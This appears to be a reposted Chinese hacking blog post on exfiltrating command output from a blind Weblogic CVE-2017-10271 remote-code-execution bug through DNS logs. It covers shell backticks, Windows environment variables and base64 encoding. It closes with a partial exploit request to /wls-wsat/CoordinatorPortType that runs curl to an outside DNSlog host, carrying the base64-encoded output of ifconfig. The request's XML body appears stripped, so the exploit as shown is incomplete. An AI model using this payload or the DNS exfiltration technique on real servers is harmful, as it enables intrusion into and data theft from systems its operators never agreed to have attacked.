利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果

作者:Armyzer0

 

Weblogic(CVE-2017-10271) 漏洞出来以后又是一波血雨腥风,正好我昨天测试的时候发现了一个存在这个漏洞的weblogic,但是他不回显咋办呢!让他返回执行结果集到dnslong首先大家先了解下 “ 这个符号在Linux的作用!

符号:` `
名称:反引号,上分隔符
位置:反引号(`)这个字符一般在键盘的左上角,数字1的左边,不要将其同单引号(’)混淆
作用:反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分

利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果_第1张图片

` ` 里面的内容是当做命令来执行

还有一些其他符号也可以产生同样的效果我就不一一介绍了

然后我们在来说下Windows 下的

2.png

ping %COMPUTERNAME%.baidu.com  [/size][/align]
[align=left][size=3]%COMPUTERNAME% 是一个变量,得到计算机名[/size][/align]
[align=left][size=3]%ALLUSERSPROFILE% : 列出所有用户Profile文件位置。 
%APPDATA% :  列出应用程序数据的默认存放位置。 
%CD% :  列出当前目录。 
%CLIENTNAME% :  列出联接到终端服务会话时客户端的NETBIOS名。 
%CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。 
%CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。 
%CommonProgramFiles% :  列出了常用文件的文件夹路径。 
%COMPUTERNAME% :  列出了计算机名。  
%COMSPEC% :  列出了可执行命令外壳(命令处理程序)的路径。 
%DATE% :  列出当前日期。 
%ERRORLEVEL% :  列出了最近使用的命令的错误代码。 
%HOMEDRIVE% :  列出与用户主目录所在的驱动器盘符。 
%HOMEPATH% :  列出用户主目录的完整路径。 
%HOMESHARE% :  列出用户共享主目录的网络路径。 
%LOGONSEVER% :  列出有效的当前登录会话的域名控制器名。 
%NUMBER_OF_PROCESSORS% :  列出了计算机安装的处理器数。 
%OS% :  列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)
%Path% :  列出了可执行文件的搜索路径。 
%PATHEXT% :  列出操作系统认为可被执行的文件扩展名。  
%PROCESSOR_ARCHITECTURE% :  列出了处理器的芯片架构。 
%PROCESSOR_IDENTFIER% :  列出了处理器的描述。 
%PROCESSOR_LEVEL% :  列出了计算机的处理器的型号。  
%PROCESSOR_REVISION% :  列出了处理器的修订号。 
%ProgramFiles% :  列出了Program Files文件夹的路径。 
%PROMPT% :  列出了当前命令解释器的命令提示设置。 
%RANDOM% :  列出界于0 和 32767之间的随机十进制数。 
%SESSIONNAME% :  列出连接到终端服务会话时的连接和会话名。 
%SYSTEMDRIVE% :  列出了Windows启动目录所在驱动器。 
%SYSTEMROOT% :  列出了Windows启动目录的位置。 
%TEMP% and %TMP% :  列出了当前登录的用户可用应用程序的默认临时目录。 
%TIME% :  列出当前时间。 
%USERDOMAIN% :  列出了包含用户帐号的域的名字。 
%USERNAME% :  列出当前登录的用户的名字。 
%USERPROFILE% :  列出当前用户Profile文件位置。 
%WINDIR% :  列出操作系统目录的位置。  
[/size][/align][align=left][size=3]变量 类型 描述  
%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。  
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。  
%CD% 本地 返回当前目录字符串。  
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。  
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。  
%COMPUTERNAME%  系统 返回计算机的名称。  
%COMSPEC%  系统 返回命令行解释器可执行程序的准确路径。  
%DATE%  系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。  
%ERRORLEVEL%  系统 返回上一条命令的错误代码。通常用非零值表示错误。  
%HOMEDRIVE%  系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
%HOMEPATH%  系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
%HOMESHARE%  系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。  
%LOGONSERVER%  本地 返回验证当前登录会话的域控制器的名称。  
%NUMBER_OF_PROCESSORS%  系统 指定安装在计算机上的处理器的数目。  
%OS%  系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。  
%PATH% 系统 指定可执行文件的搜索路径。  
%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。  
%PROCESSOR_ARCHITECTURE%  系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。  
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。  
%PROCESSOR_LEVEL%  系统 返回计算机上安装的处理器的型号。  
%PROCESSOR_REVISION% 系统 返回处理器的版本号。  
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。  
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。  
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。  
%SYSTEMROOT%  系统 返回 Windows server operating system 根目录的位置。  
%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。  
%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。  
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。  
%USERNAME% 本地 返回当前登录的用户的名称。  
%USERPROFILE% 本地 返回当前用户的配置文件的位置。  
%WINDIR% 系统 返回操作系统目录的位置。 
 
%allusersprofile%--------------------所有用户的profile路径 
 
%Userprofile%-----------------------当前用户的配置文件目录 
 
%Appdata%--------------------------当前用户的应用程序路径 
 
%commonprogramfiles%-------------应用程序公用的文件路径 
 
%homedrive%------------------------当前用户的主盘 
 
%Homepath%------------------------当前用户的主目录 
 
%programfiles%----------------------应用程序的默认安装目录 
 
%systemdrive%----------------------系统所在的盘符 
 
%systemroot%-----------------------系统所在的目录 
 
%windir%----------------------------同上,总是跟systemroot一样 
 
%tmp%------------------------------当前用户的临时目录 
 
%temp%-----------------------------同上临时目录[/size][/align][align=left][size=3]

这里给大家附上Windows下的变量大全:

至于dnslong 也在这里 小小的科普下

wiki:

NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析。 DNS:域名解析服务器。 A记录:指定域名对应的IP地址。

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

太多的介绍就不说,命令执行返回的结果显示搞定了,但是接来下碰到一个问题就是你执行

的命令有空格 DNslog 里面的会得到什么,

3.jpg

看到没有 只返回docker0:

这个 原有的内容是

利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果_第2张图片

 

这个时候 我们该如何是好,

教大家一个办法,把输出的内容base64以后在把空格换成-

5.png

 

然后查看dnslog

利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果_第3张图片

得到base64 但是觉得把-去除 然后解密 就可以了

利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果_第4张图片

 

在这里给出大家poc 实战

我就不发了 第一懒得搭环境,第二 怕菊花不保

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Content-Type:text/xml
Content-Length: 657
 

 
 
 
 
 
 
 /bin/bash
 
 
 -c
 
 
 curl XXXX.dnslog.link/`ifconfig|base64|tr '\n' '-'`
 
 
 
 
 
 
 

好了 打完收工,至于什么getshell 呀 这些我就不说了 大神请开始你们的表演

技术有限 写错请勿喷我,但是你们可以打我!

 

>>>>>>黑客入门必备技能   带你入坑,和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩!

 

转载于:https://www.cnblogs.com/ichunqiu/p/8137025.html

你可能感兴趣的:(利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果)